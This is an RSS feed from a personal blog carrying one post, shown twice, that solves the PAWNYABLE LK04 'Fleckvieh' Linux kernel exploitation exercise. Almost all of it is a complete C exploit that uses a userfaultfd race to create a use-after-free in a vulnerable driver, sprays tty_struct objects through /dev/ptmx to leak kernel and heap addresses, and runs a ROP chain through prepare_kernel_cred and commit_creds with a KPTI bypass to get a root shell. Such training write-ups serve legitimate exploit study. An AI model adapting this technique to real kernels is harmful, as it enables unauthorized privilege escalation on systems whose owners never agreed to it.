<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>FUSE on Uniguri&#39;s Blog</title>
    <link>/tags/fuse/</link>
    <description>Recent content in FUSE on Uniguri&#39;s Blog</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 16 Jan 2025 07:31:14 +0000</lastBuildDate><atom:link href="/tags/fuse/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>PAWNYABLE LK04: Fleckvieh</title>
      <link>/posts/kernel/pawnyable/pawnyable_lk04/</link>
      <pubDate>Thu, 16 Jan 2025 07:31:14 +0000</pubDate>
      
      <guid>/posts/kernel/pawnyable/pawnyable_lk04/</guid>
      <description>&lt;hr&gt;
&lt;h2 id=&#34;lk04-fleckvieh&#34;&gt;LK04: Fleckvieh&lt;/h2&gt;
&lt;h3 id=&#34;using-userfaultfd&#34;&gt;Using userfaultfd&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;792564831&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;792564831&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_userfaultfd_and_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;fleckvieh&amp;#34;
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &amp;amp;req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &amp;amp;req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
        fatal(&amp;#34;switch(vuln_operation_type)&amp;#34;);
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  save_state();

  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_device&amp;#34;);
  }

  uaf_read(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base &amp;lt; 0xffffffff81000000 || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf(&amp;#34;[+] heap_addr: 0x%016lx\n&amp;#34;, heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i &amp;lt; 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
  uaf_write(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;using-fuse&#34;&gt;Using FUSE&lt;/h3&gt;
&lt;p&gt;Since I cannot build test code with FUSE2 and the flow of exploit is same when using userfaultfd, I skip this part.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;lk04-fleckvieh&#34;&gt;LK04: Fleckvieh&lt;/h2&gt;
&lt;h3 id=&#34;using-userfaultfd&#34;&gt;Using userfaultfd&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;792564831&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;792564831&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;exploit_using_userfaultfd_and_tty_struct.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#define _GNU_SOURCE
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;linux/userfaultfd.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;sched.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define VULN_DEVICE_NAME &amp;#34;fleckvieh&amp;#34;
#define VULN_DEV_CMD_ADD 0xf1ec0001
#define VULN_DEV_CMD_DEL 0xf1ec0002
#define VULN_DEV_CMD_GET 0xf1ec0003
#define VULN_DEV_CMD_SET 0xf1ec0004
#define VULN_DEV_MAX_SIZE 0x1000

#define KERNEL_BASE 0xffffffff81000000
#define TTY_STRUCT_MAGIC 0x100005401llu
#define TTY_STRUCT_OPS_OFFSET (0xffffffff81c3c3c0 - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET (0xffffffff8109b13a - KERNEL_BASE)
#define PUSH_RDX_CMP_EAX_POP_RSP_RBP \
  (kernel_base + PUSH_RDX_CMP_EAX_POP_RSP_RBP_OFFSET)
#define POP_RDI_OFFSET (0xffffffff8109b0ed - KERNEL_BASE)
#define POP_RDI (kernel_base + POP_RDI_OFFSET)
#define PREPARE_KERNEL_CRED_OFFSET (0xffffffff810729d0 - KERNEL_BASE)
#define PREPARE_KERNEL_CRED (kernel_base + PREPARE_KERNEL_CRED_OFFSET)
#define POP_RCX_OFFSET (0xffffffff81022fe3 - KERNEL_BASE)
#define POP_RCX (kernel_base + POP_RCX_OFFSET)
#define MOV_RDI_RAX_REP_OFFSET (0xffffffff81654bdb - KERNEL_BASE)
#define MOV_RDI_RAX_REP (kernel_base + MOV_RDI_RAX_REP_OFFSET)
#define COMMIT_CREDS_OFFSET (0xffffffff81072830 - KERNEL_BASE)
#define COMMIT_CREDS (kernel_base + COMMIT_CREDS_OFFSET)
#define BYPASS_KPTI_OFFSET \
  (0xffffffff81800e26 -    \
   KERNEL_BASE)  // Offset in the function
                 // swapgs_restore_regs_and_return_to_usermode
#define BYPASS_KPTI (kernel_base + BYPASS_KPTI_OFFSET)

void fatal(const char* msg) {
  perror(msg);
  exit(-1);
}

uint64_t user_cs, user_ss, user_sp, user_rflags;
static void save_state() {
  asm(&amp;#34;mov %[u_cs], cs;\n&amp;#34;
      &amp;#34;mov %[u_ss], ss;\n&amp;#34;
      &amp;#34;mov %[u_sp], rsp;\n&amp;#34;
      &amp;#34;pushf;\n&amp;#34;
      &amp;#34;pop %[u_rflags];\n&amp;#34;
      : [u_cs] &amp;#34;=r&amp;#34;(user_cs), [u_ss] &amp;#34;=r&amp;#34;(user_ss), [u_sp] &amp;#34;=r&amp;#34;(user_sp),
        [u_rflags] &amp;#34;=r&amp;#34;(user_rflags)::&amp;#34;memory&amp;#34;);
  printf(
      &amp;#34;[*] user_cs: 0x%016lx, user_ss: 0x%016lx, user_sp: 0x%016lx, &amp;#34;
      &amp;#34;user_rflags: &amp;#34;
      &amp;#34;0x%016lx\n&amp;#34;,
      user_cs, user_ss, user_sp, user_rflags);
}
static void get_shell() {
  puts(&amp;#34;[+] Get shell!&amp;#34;);
  char* argv[] = {&amp;#34;/bin/sh&amp;#34;, NULL};
  char* envp[] = {NULL};
  execve(&amp;#34;/bin/sh&amp;#34;, argv, envp);
}

int register_uffd(void* addr, size_t len, void* (*handler)(void*)) {
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  pthread_t th;
  int uffd = syscall(__NR_userfaultfd, __O_CLOEXEC | O_NONBLOCK);

  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &amp;amp;uffdio_api) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_API)&amp;#34;);
  }

  uffdio_register.range.start = (uint64_t)addr;
  uffdio_register.range.len = len;
  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &amp;amp;uffdio_register) &amp;lt; 0) {
    fatal(&amp;#34;ioctl(UFFDIO_REGISTER)&amp;#34;);
  }

  if (pthread_create(&amp;amp;th, NULL, handler, (void*)(uint64_t)uffd) &amp;lt; 0) {
    fatal(&amp;#34;pthread_create&amp;#34;);
  }

  return uffd;
}

typedef struct {
  int id;
  size_t size;
  char* data;
} request_t;

int vuln_fd = -1;
long vuln_blob_add(size_t size, void* data) {
  request_t req = {.id = 0, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_ADD, &amp;amp;req);
}
long vuln_blob_del(int id) {
  request_t req = {.id = id, .size = 0, .data = NULL};
  return ioctl(vuln_fd, VULN_DEV_CMD_DEL, &amp;amp;req);
}
long vuln_blob_get(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_GET, &amp;amp;req);
}
long vuln_blob_set(int id, size_t size, void* data) {
  request_t req = {.id = id, .size = size, .data = data};
  return ioctl(vuln_fd, VULN_DEV_CMD_SET, &amp;amp;req);
}

cpu_set_t target_cpu;
char char_buf[VULN_DEV_MAX_SIZE];
uint64_t* uint64_buf = (uint64_t*)char_buf;
int vuln_id = -1;
enum vuln_operation_type {
  NONE = 0,
  UAF_READ = 1,
  UAF_WRITE = 2,
} vuln_operation_type;
const char* vuln_spray_dev_name;
int vuln_spray_flags;
int vuln_spray_fds[0x1000];
int vuln_spray_cnt;
static void* userfault_handler(void* args) {
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }

  int uffd = (int)(long)args;
  char* page = (char*)mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;userfault_handler: mmap&amp;#34;);
  }

  static struct uffd_msg msg;
  struct uffdio_copy copy;
  struct pollfd pollfd;

  puts(&amp;#34;[*] userfault_handler: waiting for page fault...&amp;#34;);
  pollfd.fd = uffd;
  pollfd.events = POLLIN;
  while (poll(&amp;amp;pollfd, 1, -1) &amp;gt; 0) {
    if (pollfd.revents &amp;amp; POLLERR || pollfd.revents &amp;amp; POLLHUP) {
      fatal(&amp;#34;userfault_handler: poll&amp;#34;);
    }

    if (read(uffd, &amp;amp;msg, sizeof(msg)) &amp;lt;= 0) {
      fatal(&amp;#34;userfault_handler: read(uffd)&amp;#34;);
    }
    if (msg.event != UFFD_EVENT_PAGEFAULT) {
      fatal(&amp;#34;userfault_handler: msg.event != UFFD_EVENT_PAGEFAULT&amp;#34;);
    }

    printf(&amp;#34;[*] userfault_handler: addr=0x%llx, flag=0x%llx\n&amp;#34;,
           msg.arg.pagefault.address, msg.arg.pagefault.flags);

    switch (vuln_operation_type) {
      case NONE:
        break;
      case UAF_READ:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)page;
        break;
      case UAF_WRITE:
        vuln_blob_del(vuln_id);

        for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
          vuln_spray_fds[i] = open(vuln_spray_dev_name, vuln_spray_flags);
          if (vuln_spray_fds[i] &amp;lt; 0) {
            fatal(&amp;#34;userfault_handler: open(vuln_spray_dev_name)&amp;#34;);
          }
        }

        copy.src = (uint64_t)char_buf;
        break;
      default:
        fatal(&amp;#34;switch(vuln_operation_type)&amp;#34;);
        break;
    }
    copy.dst = (uint64_t)msg.arg.pagefault.address;
    copy.len = 0x1000;
    copy.mode = 0;
    copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &amp;amp;copy) &amp;lt; 0) {
      fatal(&amp;#34;userfault_handler: ioctl(UFFDIO_COPY)&amp;#34;);
    }
  }
  return NULL;
}

void close_sprays() {
  for (int i = 0; i &amp;lt; vuln_spray_cnt; ++i) {
    close(vuln_spray_fds[i]);
    vuln_spray_fds[i] = 0;
  }
}
void uaf_read(void* out, size_t read_size, size_t chunk_size,
              const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_READ;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  vuln_blob_get(vuln_id, read_size, page);
  vuln_operation_type = NONE;

  memcpy(out, page, read_size);

  munmap(page, 0x1000);
}
void uaf_write(void* src, size_t write_size, size_t chunk_size,
               const char* spray_dev_name, int spray_cnt, int spray_flags) {
  vuln_operation_type = UAF_WRITE;
  vuln_spray_dev_name = spray_dev_name;
  vuln_spray_cnt = spray_cnt;
  vuln_spray_flags = spray_flags;
  void* page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (page == MAP_FAILED) {
    fatal(&amp;#34;uaf_read: mmap&amp;#34;);
  }
  register_uffd(page, 0x1000, userfault_handler);

  vuln_id = vuln_blob_add(chunk_size, char_buf);
  memcpy(char_buf, src, write_size);
  vuln_blob_set(vuln_id, write_size, page);
  vuln_operation_type = NONE;

  munmap(page, 0x1000);
}

uint64_t kernel_base, heap_addr;

int main() {
  CPU_ZERO(&amp;amp;target_cpu);
  CPU_SET(0, &amp;amp;target_cpu);
  if (sched_setaffinity(0, sizeof(cpu_set_t), &amp;amp;target_cpu)) {
    fatal(&amp;#34;sched_setaffinity&amp;#34;);
  }
  save_state();

  vuln_fd = open(&amp;#34;/dev/&amp;#34; VULN_DEVICE_NAME, O_RDWR);
  if (vuln_fd &amp;lt; 0) {
    fatal(&amp;#34;open vuln_device&amp;#34;);
  }

  uaf_read(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  kernel_base = uint64_buf[3] - TTY_STRUCT_OPS_OFFSET;
  if (kernel_base &amp;lt; 0xffffffff81000000 || kernel_base &amp;gt; 0xffffffffc0000000) {
    fatal(&amp;#34;kernel_base&amp;#34;);
  }
  printf(&amp;#34;[+] kernel_base: 0x%016lx\n&amp;#34;, kernel_base);
  close_sprays();

  uaf_read(char_buf, 0x50, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  heap_addr = uint64_buf[9] - 0x48;
  printf(&amp;#34;[+] heap_addr: 0x%016lx\n&amp;#34;, heap_addr);
  close_sprays();

  void* rop_buf = malloc(0x1000);
  uint64_t* rop = (uint64_t*)rop_buf;
  *rop++ = PUSH_RDX_CMP_EAX_POP_RSP_RBP;
  *rop++ = POP_RDI;
  *rop++ = 0;
  *rop++ = PREPARE_KERNEL_CRED;
  *rop++ = POP_RCX;
  *rop++ = 0;
  *rop++ = MOV_RDI_RAX_REP;
  *rop++ = COMMIT_CREDS;
  *rop++ = BYPASS_KPTI;
  *rop++ = 0xdeadbeefcafe0000;
  *rop++ = 0xdeadbeefcafe0001;
  *rop++ = (uint64_t)get_shell;
  *rop++ = (uint64_t)user_cs;
  *rop++ = (uint64_t)user_rflags;
  *rop++ = (uint64_t)user_sp;
  *rop++ = (uint64_t)user_ss;
  for (int i = 0; i &amp;lt; 0x100; ++i) {
    vuln_blob_add(0x400, rop_buf);
  }

  uint64_buf[0] = TTY_STRUCT_MAGIC;
  uint64_buf[3] = heap_addr - 0x0c * 8;
  uaf_write(char_buf, 0x20, 0x400, &amp;#34;/dev/ptmx&amp;#34;, 0x10, O_RDONLY | O_NOCTTY);
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    ioctl(vuln_spray_fds[i], 0, heap_addr);
  }

  close(vuln_fd);

  return 0;
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3 id=&#34;using-fuse&#34;&gt;Using FUSE&lt;/h3&gt;
&lt;p&gt;Since I cannot build test code with FUSE2 and the flow of exploit is same when using userfaultfd, I skip this part.&lt;/p&gt;
&lt;h2 id=&#34;reference&#34;&gt;Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK04/uffd.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK04/uffd.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://pawnyable.cafe/linux-kernel/LK04/fuse.html&#34;&gt;https://pawnyable.cafe/linux-kernel/LK04/fuse.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content>
    </item>
    
  </channel>
</rss>
